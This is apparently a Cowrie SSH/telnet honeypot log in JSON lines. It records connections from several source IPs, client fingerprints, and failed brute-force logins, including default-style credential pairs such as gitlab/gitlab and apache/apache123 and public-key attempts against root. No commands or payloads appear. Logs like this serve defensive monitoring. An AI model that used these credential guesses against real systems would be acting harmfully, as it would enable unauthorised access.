{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:21.138865Z","src_ip":"160.187.174.22","session":"04a2e3ded088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:21.378415Z","src_ip":"160.187.174.22","session":"04a2e3ded088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:22.102995Z","src_ip":"160.187.174.22","session":"04a2e3ded088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:23.403719Z","src_ip":"160.187.174.22","session":"04a2e3ded088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":52272,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe55320e3ec","protocol":"ssh","message":"New connection: 162.144.61.95:52272 (10.17.0.5:22) [session: cbe55320e3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:35.738151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:35.744690Z","src_ip":"162.144.61.95","session":"cbe55320e3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:35.826243Z","src_ip":"162.144.61.95","session":"cbe55320e3ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DyDx!S3cur3$W0rd","message":"login attempt [root/DyDx!S3cur3$W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:36.142833Z","src_ip":"162.144.61.95","session":"cbe55320e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:37.226508Z","src_ip":"162.144.61.95","session":"cbe55320e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56166,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4bf24c6241e","protocol":"ssh","message":"New connection: 160.187.174.22:56166 (159.203.135.109:22) [session: f4bf24c6241e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:48.826539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:48.830644Z","src_ip":"160.187.174.22","session":"f4bf24c6241e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:49.070498Z","src_ip":"160.187.174.22","session":"f4bf24c6241e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:49.842628Z","src_ip":"160.187.174.22","session":"f4bf24c6241e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:51.099910Z","src_ip":"160.187.174.22","session":"f4bf24c6241e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45458,"dst_ip":"159.203.135.109","dst_port":23,"session":"d15522d0b884","protocol":"telnet","message":"New connection: 107.6.151.170:45458 (159.203.135.109:23) [session: d15522d0b884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:56.605821Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52186,"dst_ip":"159.203.135.109","dst_port":23,"session":"214e44ad33c7","protocol":"telnet","message":"New connection: 107.6.151.170:52186 (159.203.135.109:23) [session: 214e44ad33c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:01.673194Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38096,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea413d697ea1","protocol":"telnet","message":"New connection: 107.6.151.170:38096 (159.203.135.109:23) [session: ea413d697ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:08.855202Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60868,"dst_ip":"159.203.135.109","dst_port":22,"session":"28a911068859","protocol":"ssh","message":"New connection: 160.187.174.22:60868 (159.203.135.109:22) [session: 28a911068859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:18.577111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:18.582165Z","src_ip":"160.187.174.22","session":"28a911068859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:18.837307Z","src_ip":"160.187.174.22","session":"28a911068859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache123","message":"login attempt [apache/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:19.585972Z","src_ip":"160.187.174.22","session":"28a911068859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:20.837647Z","src_ip":"160.187.174.22","session":"28a911068859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":36338,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaf8327dd827","protocol":"ssh","message":"New connection: 210.210.155.71:36338 (10.17.0.5:22) [session: aaf8327dd827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:23.036854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:23.040455Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:23.269995Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:b6:63:a5:ea:d2:23:96:08:12:a1:32:80:b6:d8:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3H8q2xjK/kW9fTwLQjuDs+UCtvN7T91uDJDZBN1s6Z/du4KQPYD0FiKurvrU3Giz0UhxBPXGbGG3C3wsWlRtah5KcxVt21sLr+DndeMJlYA0oZ73sharnBx/JZmcyoReJwxcRdgceeq4PuUV6+Qj1YxBAl6owy0ttjt+CJRtrAjIIPCyYZT+R+RTwJVzkahEys965VatM9ZAxVtQLTZAW9Gq2zbEJxwscOIkGEUpB3wk0M9cR8cVv/QesLJeLecvPTXsuUaEQoNwhm5+FB8auUJf9MUXmdMQZGTtYPoD5tVziHWxE9g0YTpGSvNTc8a6dQHb5UcsBDiNt5yRMlp3tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:b6:63:a5:ea:d2:23:96:08:12:a1:32:80:b6:d8:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:24.395134Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:b6:63:a5:ea:d2:23:96:08:12:a1:32:80:b6:d8:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3H8q2xjK/kW9fTwLQjuDs+UCtvN7T91uDJDZBN1s6Z/du4KQPYD0FiKurvrU3Giz0UhxBPXGbGG3C3wsWlRtah5KcxVt21sLr+DndeMJlYA0oZ73sharnBx/JZmcyoReJwxcRdgceeq4PuUV6+Qj1YxBAl6owy0ttjt+CJRtrAjIIPCyYZT+R+RTwJVzkahEys965VatM9ZAxVtQLTZAW9Gq2zbEJxwscOIkGEUpB3wk0M9cR8cVv/QesLJeLecvPTXsuUaEQoNwhm5+FB8auUJf9MUXmdMQZGTtYPoD5tVziHWxE9g0YTpGSvNTc8a6dQHb5UcsBDiNt5yRMlp3tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:24.398336Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:d1:6a:ae:02:f4:90:73:66:ce:fb:34:0a:46:0a:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2UurUQhnd1swK9Ktmdqs0WjVVmkREIGp9LpQ1TjJNV3j8p+195bIjDqKtKa7QElBvmvMAU9UzLA+zltwVTUAuoGtXXQ277JHpfPlW+Di9aiCczVnVnJsd/nCMLKYk2pI8jQFmrT+B1WoLj8aMKEuKyTLTIUDcsjOSYrLqF4/Rj4JV3wXMZ6+X9L0LH/PIU50P/Vm/iODj3+wXvHTpFW5EPf2cGb41yuHb6GTP+9KqJa42bbyKmWLsrZd2pTG3ZZ5mus0bpmerULFnIOjhPrm5eZr66JxeDnpipt38m0rq5LjflIkn1VJasfrXEZEaNizzhqbM8OgjycDl40uVPead","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:d1:6a:ae:02:f4:90:73:66:ce:fb:34:0a:46:0a:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:24.625555Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:d1:6a:ae:02:f4:90:73:66:ce:fb:34:0a:46:0a:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2UurUQhnd1swK9Ktmdqs0WjVVmkREIGp9LpQ1TjJNV3j8p+195bIjDqKtKa7QElBvmvMAU9UzLA+zltwVTUAuoGtXXQ277JHpfPlW+Di9aiCczVnVnJsd/nCMLKYk2pI8jQFmrT+B1WoLj8aMKEuKyTLTIUDcsjOSYrLqF4/Rj4JV3wXMZ6+X9L0LH/PIU50P/Vm/iODj3+wXvHTpFW5EPf2cGb41yuHb6GTP+9KqJa42bbyKmWLsrZd2pTG3ZZ5mus0bpmerULFnIOjhPrm5eZr66JxeDnpipt38m0rq5LjflIkn1VJasfrXEZEaNizzhqbM8OgjycDl40uVPead","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:24.628402Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:35:78:0f:13:aa:86:f4:b2:ac:d0:1f:28:b9:62:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwdnR3Fyfmxmiuo1pUupQ4stoGa4agNK7x89sDFqSnRoFTWe45RfUYVSIGrgEw/qiRyabIH47wbRRJeJTxvrMTsyzzaTW5MUrgYEWYzUunGz8YGIzRPwbYnbjG4vS7U5leDJqiCYqIXceqvfvEEnUJDQLhtKNXmRs2pKqoSOBhswnVQwmvIGirGUeXLONZMfKBydCs17q8QUw3r84qJC43/tbwGm+tpq+Rm+2UeXW4TTZYtkOnp/GC0WJuUn6/1YW9Xe+uJrRR6gMHhx6Ou+hSqSTUnB5cRXfZsppSPPeVaqRkuaCmVqNaWtUIYqxMu/ChGFZKWvr2yhr++W2fejDVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:35:78:0f:13:aa:86:f4:b2:ac:d0:1f:28:b9:62:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:24.855724Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:35:78:0f:13:aa:86:f4:b2:ac:d0:1f:28:b9:62:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwdnR3Fyfmxmiuo1pUupQ4stoGa4agNK7x89sDFqSnRoFTWe45RfUYVSIGrgEw/qiRyabIH47wbRRJeJTxvrMTsyzzaTW5MUrgYEWYzUunGz8YGIzRPwbYnbjG4vS7U5leDJqiCYqIXceqvfvEEnUJDQLhtKNXmRs2pKqoSOBhswnVQwmvIGirGUeXLONZMfKBydCs17q8QUw3r84qJC43/tbwGm+tpq+Rm+2UeXW4TTZYtkOnp/GC0WJuUn6/1YW9Xe+uJrRR6gMHhx6Ou+hSqSTUnB5cRXfZsppSPPeVaqRkuaCmVqNaWtUIYqxMu/ChGFZKWvr2yhr++W2fejDVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:24.858786Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43918,"dst_ip":"159.203.135.109","dst_port":23,"session":"991f04ab74ce","protocol":"telnet","message":"New connection: 107.6.151.170:43918 (159.203.135.109:23) [session: 991f04ab74ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:24.991813Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:39:b2:a5:07:bb:39:32:0a:ba:a9:47:6e:e4:1d:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo6PJ/gsrkWHMkoNSuhivjmScvWFFoxY4oMMs59nYObeDbpo4aEF7IjB5xTbxKL2WA5HttbF8f5sDrUCLvQPsh4LHUB5phOYBJVIzENoq4mYtOGGbsUutmD3DIhv5+hUEdceWQ07B4tBMUjZMXgctPdQVkq8mxh2VQ3VkzWDcP1JloPbnYeY90BLnzvhS4PGF440L3AHEKUkKCfdTW5uj3aymSdlEiEkxVEKOut5kddBajEJebNE4uo7+h3xho2oFAjFRS/ikifrc7i/kj8O6ujuqwBpxHRPMag4fsrptKRN5V733MYtVEC6rXlQHmY8FskFSxjpwQQw//s+HGSrnn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:39:b2:a5:07:bb:39:32:0a:ba:a9:47:6e:e4:1d:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:25.085563Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:39:b2:a5:07:bb:39:32:0a:ba:a9:47:6e:e4:1d:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo6PJ/gsrkWHMkoNSuhivjmScvWFFoxY4oMMs59nYObeDbpo4aEF7IjB5xTbxKL2WA5HttbF8f5sDrUCLvQPsh4LHUB5phOYBJVIzENoq4mYtOGGbsUutmD3DIhv5+hUEdceWQ07B4tBMUjZMXgctPdQVkq8mxh2VQ3VkzWDcP1JloPbnYeY90BLnzvhS4PGF440L3AHEKUkKCfdTW5uj3aymSdlEiEkxVEKOut5kddBajEJebNE4uo7+h3xho2oFAjFRS/ikifrc7i/kj8O6ujuqwBpxHRPMag4fsrptKRN5V733MYtVEC6rXlQHmY8FskFSxjpwQQw//s+HGSrnn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:25.135283Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:5d:15:69:af:4c:a4:21:bd:85:f2:f8:1c:6a:a8:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD9f0I3LiFxF8iRlFNIpYO5tYLtMv5Psi81xVe++wLVEVKsbKpcKGUmvkvg9v2xHn+52NLRUTNdZvFeImJiWsMVJli+q3SO8Z6+GUFvemW5fQnY0ixvn5t+MKF8+2RteQmewUIODoyxjBZtCczDwVCDon4Iuuc31wbeMLUJaaZciTnkwGjPoewDGN/MQpg+lpSh/+xlgkrMj3PJU5f4Se5QwrxnNoTc0AzY7L43XI9uSDvpRkqNL67EbEObP9QRJTeCuoN7aRAOWuzEvEfFm6HFAq7+1ZCKHP72Jcww5uFaf1eN4iYybgk4EBIuFJ8/eHpBU/s6I28dHnJgRHasJtp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:5d:15:69:af:4c:a4:21:bd:85:f2:f8:1c:6a:a8:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:38:25.361732Z","src_ip":"210.210.155.71","session":"aaf8327dd827","protocol":"ssh"}
